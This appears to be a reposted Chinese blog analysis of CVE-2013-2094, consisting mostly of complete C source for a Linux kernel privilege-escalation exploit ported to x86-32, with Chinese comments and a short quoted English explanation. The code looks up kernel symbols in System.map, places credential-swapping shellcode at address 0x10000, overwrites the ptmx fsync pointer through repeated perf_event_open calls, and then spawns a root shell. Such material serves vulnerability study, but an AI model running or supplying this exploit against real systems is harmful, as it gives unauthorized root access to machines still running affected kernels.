标签:des style class blog code http
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175 |
/* * linux 2.6.37-3.8.8 - x86 * @rikiji * * requires System.map and /dev/ptmx * this: http://zmbs.net/~rikiji/perf_ptmx.c * original: http://fucksheep.org/~sd/warez/semtex.c */ #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <sys/mman.h> #include <stdint.h> #include <linux/perf_event.h> #include <asm/unistd.h> #define SYSMAP_PREFIX "/boot/System.map-" #define PAGE_SIZE 4096 unsigned long
commit_creds = 0; unsigned long
prepare_kernel_cred = 0; #define OFFSET_PREP 3 #define OFFSET_COMM 10 char
shellcode [] = "\x31\xc0\xbb\x04\x03\x02\x01\xff\xd3\xbb\x08\x07\x06\x05\xff\xd3\xc3" ; /* xor eax,eax mov ebx,0x1020304 call ebx mov ebx,0x5060708 ;char* src = arg[1] call ebx ret ; char c = src[i] */ unsigned long
getsym( char
* sym) { char
s[256] = { 0 }; int
fd = open( "/proc/version" , O_RDONLY); read(fd, s, sizeof (s)); strtok (s, " " ); strtok (NULL, " " ); char
* version = strtok (NULL, " " ); close(fd); int
len = strlen (version) + strlen (SYSMAP_PREFIX) + 1; char
* mapf = malloc (len); memset (mapf, 0, len); strncpy (mapf, SYSMAP_PREFIX, strlen (SYSMAP_PREFIX)); strncpy (mapf + strlen (SYSMAP_PREFIX), version, strlen (version)); fd = open(mapf, O_RDONLY); #define BUFSIZE 1024 char
* buf = malloc (BUFSIZE + 1); buf[BUFSIZE] = 0; int
partial = 0, found = 0; char
addr[9]; while (!found) { read(fd, buf, BUFSIZE); char
* tok = strtok (buf, " \n" ); while (tok != NULL) { int
n = strlen (tok); if (partial) { if ( strncmp (sym + partial, tok, n) == 0) { found = 1; break ; } else
{ partial = 0; } } else
{ if ( strncmp (sym, tok, n) == 0) { strncpy (addr, tok - 11, 9); if (n < strlen (sym) && (tok + n == buf + BUFSIZE)) { partial = n; break ; } if (n == strlen (sym)) { found = 1; break ; } } } tok = strtok (NULL, " \n" ); } } close(fd); printf ( "%s: 0x%s\n" , sym, addr); return
strtoul (addr, NULL, 16); } int
main( int
argc, char
** argv) { unsigned long
perf_table = getsym( "perf_swevent_enabled" ); commit_creds = getsym( "commit_creds" ); prepare_kernel_cred = getsym( "prepare_kernel_cred" ); unsigned long
pmtx_ops = getsym( "ptmx_fops" ); *((unsigned int
*)(shellcode + OFFSET_PREP)) = prepare_kernel_cred; *((unsigned int
*)(shellcode + OFFSET_COMM)) = commit_creds; int
s; for (s=0;s< sizeof (shellcode);s++) printf ( "%02x " , (unsigned char )shellcode[s]); printf ( "\n" ); /* 56 is offset of fsync in struct file_operations */ int
target = pmtx_ops + 56; //it‘s Null value int
payload = -((perf_table - target)/4); printf ( "payload: 0x%x\n" , payload); unsigned long
base_addr = 0x10000; char
* map = mmap(( void
*)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0); if (map == MAP_FAILED) perror ( "mmap" ); memcpy (map, shellcode, 0x30); struct
perf_event_attr event_attr; memset (&event_attr, 0, sizeof ( struct
perf_event_attr)); event_attr.type = 1; event_attr.size = sizeof ( struct
perf_event_attr); event_attr.config = payload; int
times = base_addr; //為了繞過 sysctl -w vm.mmap_min_addr = 65536 (=0x10000) int
i = 0, k; #define BLOCK 256 // 65536 = 256 * 256, shellcode放在0x10000 (=65536), 為了改寫[pmtx_ops + 56]的值成0x10000 while (times - i > 0) { //65536-0 , 65536-256*1, 65536-256*2,...,65536-256*256 總共做65536次的+1 printf ( "i %d\n" , i); if (times - i > BLOCK) { if (fork()) { //parent & child both run after fork(), 所以說child process每次都從此開始 //parent process for (k=0;k<BLOCK;k++){ int
fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0); //跳到[pmtx_ops + 56] + 256,之後去等待,換child process執行, //會跳到while又再fork出一個child process做[pmtx_ops + 56] + 256...依此類推。 if
(fd < 0) { perror ( "perf_event_open child" ); }} pause(); //等child exit (0); } //child process i += BLOCK; } else
{ //times - i == BLOCK的情況,即65536-256*255 == 256, 以下為最後一個256次。由while(times - i > 0)停止。 int
fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0); if
(fd < 0) { perror ( "perf_event_open" ); sleep(1); } i++; //256*255+1 } } int
ptmx = open( "/dev/ptmx" , O_RDWR); fsync(ptmx); if (getuid()) { printf ( "failed" ); return
-1; } printf ( "root!!" ); execl( "/bin/sh" , "sh" , NULL); return
0; } |
"An idea from /u/spender is
to call multiple times perf_event_open
while
keeping the file descriptors open,
avoiding the destroy callback which will revert the change done in the init
function. In this way is possible to increment a value in kernel space multiple
times. This has the drawback of the process hitting the maximum number of open
file descriptors allowed very fast, so some forking is required. I browsed a bit
the kernel source to find a function pointer initialized to zero which was not
stored in read only memory, and I chose to
leverage drivers/tty/pty.c
, a driver for ptmx
devices, which is enabled in the default Debian kernel and
has struct file_operations ptmx_fops
, which has
some NULL pointers and more importantly is not in read only memory."
sw_perf_event_destroy (i.e. destroy callback)
但是,linux系统中单个进程能够打开的file descriptor数量是有限制的,所以需要fork出足够多的进程,反复修改。可用ulimit -n查詢,一般來說是1024
http://pastebin.com/xdqEbhYR (查找system.map版)
http://pastebin.com/mMn3QvuR (查找/proc/kallsyms版)
ref. http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html
CVE-2013-2094 porting to x86-32 分析,布布扣,bubuko.com
CVE-2013-2094 porting to x86-32 分析
标签:des style class blog code http
原文地址:http://www.cnblogs.com/bittorrent/p/3781135.html